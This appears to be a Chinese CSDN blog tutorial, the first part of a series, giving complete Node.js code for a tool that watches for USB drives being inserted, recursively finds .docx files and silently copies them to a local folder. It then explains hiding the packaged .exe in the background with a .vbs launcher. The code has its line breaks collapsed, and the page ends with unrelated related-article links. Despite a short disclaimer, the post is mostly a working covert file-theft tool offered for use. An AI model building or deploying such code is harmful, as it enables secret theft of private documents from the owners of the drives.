前言:切莫用其干坏事,否则后果自负

我们废话少说,直接上代码,且代码都有关键注释

const fs = require("fs")let dir = "E:"                              //指定其要拷贝的默认跟目录
let toSaveDir = "C:/123456/"                //指定文档复制到指定位置
let saveOn = true                           //记录u盘插入变量(用此判断一个u盘只能被复制一次)
let saveDir = []                            //保存u盘文档路径(复制文件通过此路径操作)/*
* 主函数
* 功能:3秒扫面一次是否有u盘插入 如果有盘插入 则执行相应操作
* */
function main() {init(0)                                     //初始化要复制的盘符let time = setInterval(() => {if (getUPan()) {                             //当有u盘插入时则执行下面操作if (saveOn) {                             //每插一次U盘只能读取一次console.log("检测到有U盘插入")saveOn = falsesetTimeout(() => {                  //U盘存在则在5秒后启动复制函数readDir(dir)                    //读取U盘并得到文档所在路径saveFile()                      //复制文件到指定文件}, 5000)}} else {                                    //当没有U盘时 则为下一次有盘做准备saveOn = trueinit(0)saveDir = []}}, 3000)
}/*
* 初始化读取U盘的位置(根路径)
* 原因:假如你的电脑有C盘和D盘,那么你的U盘插入默认的就是E盘
* */
function init(num){let str=["D","E","F","G","H"]dir=str[num]+":"num+=1try {fs.readdirSync(dir)init(num)} catch (err) {return 0}
}/*
* 读取U盘是否插入
* 原理:通过init函数初始化盘符过后 dir是指向没有的盘符(待插入的盘符),
* 通过是否报错来得知是否有U盘插入
* */
function getUPan() {try {fs.readdirSync(dir)return 1} catch (err) {return 0}
}/*
* 遍历u盘文件夹(使用递归进行迭代)
* */
async function readDir(dir) {try {const files = fs.readdirSync(dir)                   //第一次从根目录读取 再遍历每一个文件夹files.forEach((file) => {let dirFile = dirdirFile = dir + "/" + fileif (file.indexOf('.docx') != -1) {              //如果文件是.docx文档 则保存此文件路径(可自行操作读取文件)saveDir.push(dirFile)} else {if (file.indexOf('.') == -1) {              //如果不是文件  则进入该文件夹readDir(dirFile)}}})} catch (err) {//console.log("错误文件:"+ dir)/*报错原因:有一些文件没有后缀,读档时系统默认当作文件夹*/}
}/*
* 复制文件到指定目录
* */
function saveFile() {fs.mkdir(toSaveDir, (err) => {                      //创建文件夹console.log("开始复制")function cpFile(num){                                                   //还是通过递归来进行迭代if(saveDir.length!=num){                                            //每次迭代通过num来判断是否迭代完成let name = saveDir[num].split("/")name = name[name.length - 1]                                    //得到文件名fs.readFile(saveDir[num], (err, dt) => {if (!err) {fs.writeFile(toSaveDir + name, dt,(err)=>{num++cpFile(num)})}})}elseconsole.log("完成复制")}cpFile(0)})}main()
console.log("启动监听")

代码运行没有问题过后,我们就可以进行文件打包成.exe文件(至于怎么打包,大家自行百度)。

最关键一步来了,如何让这个黑乎乎的窗口消失在后台运行呢?

我们可以通过.vbs文件隐藏

我们写好后,双击.vbs文件,我们会发现并没有什么反应,但是实际上他已经运行了,我们可以在资源管理器中查看,且只能在资源管理器中把他关闭。

至此,本地复制u盘文件小助手就已经完成了

源代码打包:

目录:.vbs文件  实现源代码 打包后的.exe文件

下载:第一章源代码打包.rar-其它文档类资源-CSDN下载

上一章:手把手教你写复制U盘文件神器(前言)_小坑2号的博客-CSDN博客

下一章:正在完善中

手把手教你写复制U盘文件神器(一)相关推荐

  1. 手把手教你写复制U盘文件神器(二)

    前言:切莫用其干坏事,否则后果自负 今天我们来聊聊如何将文件上传至服务器. 首先,需要前面(文章一)的代码为基础,在此基础上传文件.为了节省篇幅,在这我贴出改动的代码. 为了方便程序的通用性,在同级目 ...

  2. 手把手教你清理 windows C盘文件

    一:使用工具-spacesniffer 1,百度下载spacesniffer 是一个可以让您直观的查看硬盘中文件和文件夹的分布情况的应用程序. 下载地址 2,选择磁盘 3,软件打开后 4,操作方法 1 ...

  3. 手把手教你写电商爬虫-第二课 实战尚妆网分页商品采集爬虫

    系列教程 手把手教你写电商爬虫-第一课 找个软柿子捏捏 如果没有看过第一课的朋友,请先移步第一课,第一课讲了一些基础性的东西,通过软柿子"切糕王子"这个电商网站好好的练了一次手,相 ...

  4. 手把手教你写专利申请书/如何申请专利

    摘要 小前言 (一)申请前的准备工作     1.申请前查询     2.其他方面的考虑     3.申请文件准备 (二)填写专利申请系列文档     1.实际操作步骤     2.具体操作     ...

  5. win7开机卡在正在启动_手把手教你大白菜PE启动盘安装win7最详细的图解教程

    一.准备工作,制作好PE启动盘U盘一个,把所需要的文件提前复制到U盘里: 2,把启动盘插到电脑USB插口上: 3-1,按下电脑主机开机按钮: 3-2,如果电脑是打开的请重启电脑: 4,设置从U盘启动: ...

  6. 手把手教你写批处理-批处理的介绍

    标题:手把手教你写批处理-批处理的介绍 作者:佚名 编者:Climbing 出处:中国 DOS 联盟之联合 DOS 论坛 题注:willsort 日期:2004-09-21 ------------- ...

  7. 手把手教你写专利申请书·如何申请专利

    摘要 小前言 (一)申请前的准备工作     1.申请前查询     2.其他方面的考虑     3.申请文件准备 (二)填写专利申请系列文档     1.实际操作步骤     2.具体操作     ...

  8. (转)手把手教你写专利申请书•如何申请专利

    如何写好专利申请?由于很多专利申请人都是第一次申请,因此,可能有一种神秘和些许恐惧.本文写的是如何写专利申请书,手把手教你写专利申请并提供申请专利时的注意事项,相关参考并有相关专利申请书样本可供下载. ...

  9. 手把手教你写专利申请书/怎样申请专利

    手把手教你写专利申请书·怎样申请专利 摘要 小前言 (一)申请前的准备工作     1.申请前查询     2.其它方面的考虑     3.申请文件准备 (二)填写专利申请系列文档     1.实际操 ...

最新文章

  1. Unity从头到尾无代码游戏制作学习教程
  2. smbpasswd 和 pdbedit 的区别
  3. 强烈安利8个高质量的办公软件,提高你的办公效率
  4. 过来人告诉你Python应该这么学
  5. java写soap客户端_Java:简单的SOAP客户端
  6. linux权限介绍,Linux的权限介绍
  7. undefinednbsp;referencenbsp;to…
  8. [Hbase]Hbase常用的优化方法
  9. 物联网安全形势严峻——除严加管控外别无选择
  10. 向窗口输入文字--TextOut和DrawText函数
  11. android打印机驱动4521,三星scx4521f驱动下载
  12. SSM框架实战详细教程(六)Spring MVC贯穿项目实战
  13. linux开发板系统备份
  14. 网站克隆工具_全员惊艳!强推5款高质量的小众实用网站
  15. Preact 在TSX中优雅使用className
  16. 2018浙大408考研经验(划掉)个人口胡 普通一本+二战(伪)+小跨吧大概
  17. XML(1)——shema约束之命名空间
  18. 李沐的深度学习笔记来了!
  19. 什么是sku和spu
  20. (转自)何新:谈“玄”(一)

热门文章

  1. JavaScript进阶-编程思想、构造函数的原型对象、对象原型、原型继承以及原型链
  2. 数据库启动关闭有关的SCN
  3. 通达OA系统排名?通达OA办公系统怎么选?什么是用户口碑最好的通达OA系统?
  4. 【信号与系统学习笔记】—— 一起走进“卷积”的世界 2【系统基本性质和卷积的关系】
  5. 2018 年度新增开源软件排行榜之国产 TOP 50[转载]
  6. Revit中建筑柱和结构柱的区分以及梁的搭建之学习记录
  7. 负债的“90后、00后”日益增多 他们在网上抱团自救
  8. 2D激光SLAM-雷达的特征点提取
  9. CISP-PTE培训主要内容!
  10. 蝉知门户系统迁移到SAE平台-对蝉知2.5版本部分功能的限制